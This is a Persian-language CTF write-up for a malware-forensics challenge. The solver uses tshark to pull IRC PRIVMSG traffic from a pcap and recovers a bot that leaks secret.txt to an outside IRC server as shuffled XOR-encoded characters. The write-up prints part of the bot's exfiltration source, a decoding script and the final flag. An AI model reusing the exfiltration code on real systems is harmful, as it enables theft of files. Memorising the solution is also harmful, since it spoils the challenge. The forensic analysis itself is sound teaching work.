چالش بدافزار دوم - راز

توضیحات

باید بیشتر مواظب این راز می‌بودم، به نظر میاد دیگه راز نیست!

قالب پرچم در این سوال به صورت parcham{some_l33t_string} است.

حل چالش

گام اول

در این سوال به ما یک فایل pcap داده شده است. برای حل این سوال از برنامه‌ی tshark استفاده می‌کنیم.

$ file secret_8c7c6c121aa273c00cca75e058820ba4.pcap 
secret_8c7c6c121aa273c00cca75e058820ba4.pcap: pcap capture file, microsecond ts (little-endian) - version 2.4 (Linux cooked v1, capture length 262144)

$ tshark -r  secret_8c7c6c121aa273c00cca75e058820ba4.pcap
    1   0.000000  10.43.0.102 → 130.185.232.126 TCP 76 32888 → 6667 [SYN] Seq=0 Win=64240 Len=0 MSS=1460 SACK_PERM=1 TSval=1081241631 TSecr=0 WS=128
    2   0.306594 130.185.232.126 → 10.43.0.102  TCP 76 6667 → 32888 [SYN, ACK] Seq=0 Ack=1 Win=28960 Len=0 MSS=1104 SACK_PERM=1 TSval=2039463875 TSecr=1081241631 WS=128
    3   0.306639  10.43.0.102 → 130.185.232.126 TCP 68 32888 → 6667 [ACK] Seq=1 Ack=1 Win=64256 Len=0 TSval=1081241937 TSecr=2039463875
    4   0.616125 130.185.232.126 → 10.43.0.102  IRC 135 Response (NOTICE)
    5   0.616160  10.43.0.102 → 130.185.232.126 TCP 68 32888 → 6667 [ACK] Seq=1 Ack=68 Win=64256 Len=0 TSval=1081242247 TSecr=2039464167
    6   0.921032 130.185.232.126 → 10.43.0.102  IRC 192 Response (NOTICE) (NOTICE)
    7   0.921066  10.43.0.102 → 130.185.232.126 TCP 68 32888 → 6667 [ACK] Seq=1 Ack=192 Win=64256 Len=0 TSval=1081242552 TSecr=2039464477
    8   8.498723 130.185.232.126 → 10.43.0.102  IRC 125 Response (NOTICE)
    9   8.498771  10.43.0.102 → 130.185.232.126 TCP 68 32888 → 6667 [ACK] Seq=1 Ack=249 Win=64256 Len=0 TSval=1081250130 TSecr=2039472003
    .
    .
    .

با بررسی سریع محتوای pcap متوجه می‌شویم، که بدافزار از پروتکل irc استفاده کرده است. این پروتکل برای چت کردن به صورت متنی است که احتمالا به این معناست که بدافزار از آن برای فرستادن اطلاعات به بیرون استفاده کرده.
با دستور زیر میتوانیم دستورات irc را در این pcap ببینیم:

$ tshark -r  secret_8c7c6c121aa273c00cca75e058820ba4.pcap -Y 'irc'
.
.
.
 3824 1367.481990  10.43.0.102 → 130.185.232.126 IRC 119 Request (PRIVMSG)
 3826 1368.483315  10.43.0.102 → 130.185.232.126 IRC 183 Request (PRIVMSG)
 3828 1369.484614  10.43.0.102 → 130.185.232.126 IRC 120 Request (PRIVMSG)
 3830 1370.485844  10.43.0.102 → 130.185.232.126 IRC 158 Request (PRIVMSG)
 3832 1371.487161  10.43.0.102 → 130.185.232.126 IRC 129 Request (PRIVMSG)
 3834 1372.488412  10.43.0.102 → 130.185.232.126 IRC 125 Request (PRIVMSG)
 3836 1373.489365  10.43.0.102 → 130.185.232.126 IRC 119 Request (PRIVMSG)
 3838 1374.490575  10.43.0.102 → 130.185.232.126 IRC 123 Request (PRIVMSG)
 3840 1375.491376  10.43.0.102 → 130.185.232.126 IRC 187 Request (PRIVMSG)
 3842 1376.492661  10.43.0.102 → 130.185.232.126 IRC 124 Request (PRIVMSG)
 3844 1377.493947  10.43.0.102 → 130.185.232.126 IRC 125 Request (PRIVMSG)
 3846 1378.495193  10.43.0.102 → 130.185.232.126 IRC 187 Request (PRIVMSG)
 3848 1379.496543  10.43.0.102 → 130.185.232.126 IRC 126 Request (PRIVMSG)
 3850 1380.497786  10.43.0.102 → 130.185.232.126 IRC 115 Request (PRIVMSG)
 3852 1381.499049  10.43.0.102 → 130.185.232.126 IRC 121 Request (PRIVMSG)
 3854 1382.499350  10.43.0.102 → 130.185.232.126 IRC 117 Request (PRIVMSG)
 3856 1383.500562  10.43.0.102 → 130.185.232.126 IRC 140 Request (PRIVMSG)
 3858 1384.501831  10.43.0.102 → 130.185.232.126 IRC 121 Request (PRIVMSG)
 3860 1385.502941  10.43.0.102 → 130.185.232.126 IRC 109 Request (PRIVMSG)
 3862 1386.503322  10.43.0.102 → 130.185.232.126 IRC 111 Request (PRIVMSG)
 3864 1387.504554  10.43.0.102 → 130.185.232.126 IRC 91 Request (PRIVMSG)
 3865 1387.818094 130.185.232.126 → 10.43.0.102  IRC 120 Response (412)
 3869 1388.505753  10.43.0.102 → 130.185.232.126 IRC 91 Request (PRIVMSG)
 3870 1388.748217 130.185.232.126 → 10.43.0.102  IRC 120 Response (412)
 3872 1389.507032  10.43.0.102 → 130.185.232.126 IRC 84 Request (QUIT)

در پروتکل irc برای فرستادن پیام خصوصی به کاربران (یا کانال ها) از دستور PRIVMSG استفاده می‌شود. با بررسی دستور بالا نیز متوجه می‌شویم که تعداد زیادی دستور PRIVMSG وجود دارد. پس احتمالا برای فهمیدن این بدافزار باید این دستور ها را بررسی کنیم.

گام دوم

برای بررسی irc در برنامه‌ی tshark فیلدهای زیر وجود دارند:

$ tshark -G fields | grep -i "irc\."
F    Response    irc.response    FT_STRING    irc        0x0    Line of response message
F    Request    irc.request    FT_STRING    irc        0x0    Line of request message
F    Prefix    irc.request.prefix    FT_STRING    irc        0x0    Request prefix
F    Command    irc.request.command    FT_STRING    irc        0x0    Request command
F    Parameter    irc.request.command_parameter    FT_STRING    irc        0x0    Request command parameter
F    Trailer    irc.request.trailer    FT_STRING    irc        0x0    Request trailer
F    Prefix    irc.response.prefix    FT_STRING    irc        0x0    Response prefix
F    Command    irc.response.command    FT_STRING    irc        0x0    Response command
F    Command    irc.response.num_command    FT_UINT16    irc    BASE_DEC    0x0    Response (numeric) command
F    Parameter    irc.response.command_parameter    FT_STRING    irc        0x0    Response command parameter
F    Trailer    irc.response.trailer    FT_STRING    irc        0x0    Response trailer
F    CTCP Data    irc.ctcp    FT_STRING    irc        0x0    Placeholder to dissect CTCP data
F    Missing ending tag delimiter (0x01)    irc.missing_end_delimiter    FT_NONE    irc        0x0    
F    Tag data outside of NOTICE or PRIVMSG command    irc.tag_data_invalid    FT_NONE    irc        0x0    
F    Prefix missing ending <space>    irc.prefix_missing_ending_space    FT_NONE    irc        0x0    
F    Request has no command    irc.request.command.missing    FT_NONE    irc        0x0    
F    Numeric command not allowed in request    irc.request.command.numeric    FT_NONE    irc        0x0    
F    Response has no command    irc.response.command.missing    FT_NONE    irc        0x0

ما می‌خواهیم از فایل pcap داده شده، درخواست‌های irc ای را که دستورشان PRIVMSG بوده، جدا کنیم. از آنجایی که پروتکل irc متنی است، کافی است متن تمام آن request ها را جمع کنیم و در یک فایل قرار دهیم.

$ tshark -r  secret_8c7c6c121aa273c00cca75e058820ba4.pcap -Y 'irc && irc.request.command==PRIVMSG' -T fields -e irc.request > data.txt
$ head data.txt 
PRIVMSG #spiderman :Master here is 5:
PRIVMSG #spiderman :11
PRIVMSG #spiderman :Master here is 49:
PRIVMSG #spiderman :65
PRIVMSG #spiderman :Master here is 56:
PRIVMSG #spiderman :59
PRIVMSG #spiderman :Master here is 65:
PRIVMSG #spiderman :13
PRIVMSG #spiderman :Master here is 27:
PRIVMSG #spiderman :18

با بررسی فایل data.txt متوجه می‌شویم که در ابتدای آن پیغام‌هایی به شکل بالا در کانال #spiderman فرستاده شده.
همچنین در انتهای این فایل می‌بینیم که بدافزار در انتها سورس خود را در همین کانال ارسال کرده. با جدا کردن این بخش ها به کد برنامه‌ی بدافزار میرسیم.

کد شامل بخش هایی برای وصل شدن و فرستادن پیام با پروتکل irc است. اما بخش اصلی کد این بدافزار در زیر خلاصه شده:

# ....

if __name__ == "__main__":
    username = "botme"
    channel = "#spiderman"
    cmd = ""



    try:
        secret = open("secret.txt").read()
    except:
        secret = "Did not find secret!"
        # ...
    is_ = []
    range_ = list(range(2,72))
    random.shuffle(range_)
    for index in range_:
        client = joinjoin(username , channel)
        if index > 1:
            i = index - 1
            client.send_message_to_channel("Master here is " + str(index) + ":")
            client.send_message_to_channel(str(ord(secret[i])^ord(secret[i-1])))
            time.sleep(1)
        if index not in is_:
            is_.append(index)

        elif index == 1:
            client.send_message_to_channel("Master here is " + str(index) + ":")
            client.send_message_to_channel(str(ord(secret[0])))
            time.sleep(1)
            if index not in is_:
                is_.append(index)
        quit()

    while(True):
        client = joinjoin(username , channel)
        resp = client.get_response().decode()
        if "quit" in resp:   
            me = open(sys.argv[0], "r").readlines()[1:-1]
            data = []
            is_ = sorted(is_)
            if 1 not in is_:
                client.send_message_to_channel("Master we lost " + str(1) + ", here it is:")
                time.sleep(1)
                client.send_message_to_channel(str(ord(secret[0])))
            range_ = list(range(2,72))
            random.shuffle(range_)
            for i in range_:
                if i not in is_:
                    client.send_message_to_channel("Master we lost " + str(i) + ", here it is:")
                    time.sleep(1)
                    index = i - 1 
                    client.send_message_to_channel(str(ord(secret[index])^ord(secret[index-1])))
                    time.sleep(1)  
            for l in me:
                data.append(l)
            for d in data:
                client.send_message_to_channel(d)
                time.sleep(1) 
            quit()
            exit(0)

این کد محتوای فایل secret.txt را با ترتیب نامعلوم و مخفی شده در کانال #spiderman به این صورت است با ترتیب تصادفی (و shuffle شده) برای هر کاراکتر در secret، مقدار xor آن را با کاراکتر قبلی به صورت ASCII حساب می‌کند و آن را ارسال می‌کند. مقدار ASCII کاراکتر اول را نیز بدون تغییر در کانال می‌فرستد.

پس در واقع وقتی در بخشی از data.txt داشتیم:

PRIVMSG #spiderman :Master here is 39:
PRIVMSG #spiderman :65
PRIVMSG #spiderman :Master we lost 1, here it is:
PRIVMSG #spiderman :112

به این معنا است که

ord(secret[38]) ^ ord(secret[37]) == 65
ord(secret[0]) == 112 # chr(112) == 'p'

گام سوم

حالا که کد برنامه و اطلاعاتی که در irc فرستاده شده را جدا کردیم، باید یک اسکریپت بنویسیم که مقدار secret را حساب کند. برای این کار باید مقدار index ها و مقدار xor شده را از فایل‌ data.txt بخوانیم و به ترتیب index مرتب کنیم. و بعد با داشتن کاراکتر اول و مقدار در خانه‌ی ۲ می‌توانیم مقدار کاراکتر دوم را پیدا کنیم و به همین ترتیب تا به انتهای محتوای secret برسیم.

این کار در کد زیر انجام شده است:

import re

s = "PRIVMSG #spiderman :"
lines = [l.strip() for l in ",".join(open('./data.txt').readlines()).split(",")]
lines = [l[len(s):] for l in lines if l.startswith(s)]
lines = [(a, b) for a, b in  zip(lines[::2], lines[1::2])] # خط‌ها را دو به دو کنار هم بگذار
lines = [(a, b) for a, b in lines if a.startswith('Master')] # بخش‌های مربوط به کد برنامه را پاک کن
lines = [(re.sub(r"\D", "", a), re.sub(r"\D", "", b)) for a, b in lines] # بخش‌های غیرعددی را از خط‌ها پاک کن!
lines = [(int(a), int(b)) for a, b in lines]
lines = sorted(lines)


acc = 0 # X ^ 0 = X
s = ''

for _, b in lines:
    acc = b ^ acc
    s += chr(acc)

print(s)

با اجرای این برنامه به پرچم می‌رسیم.

parcham{Y35_w3_4re_here__we_c4n_und3r5tand_Malw3rs_but_d0_w3_really?!}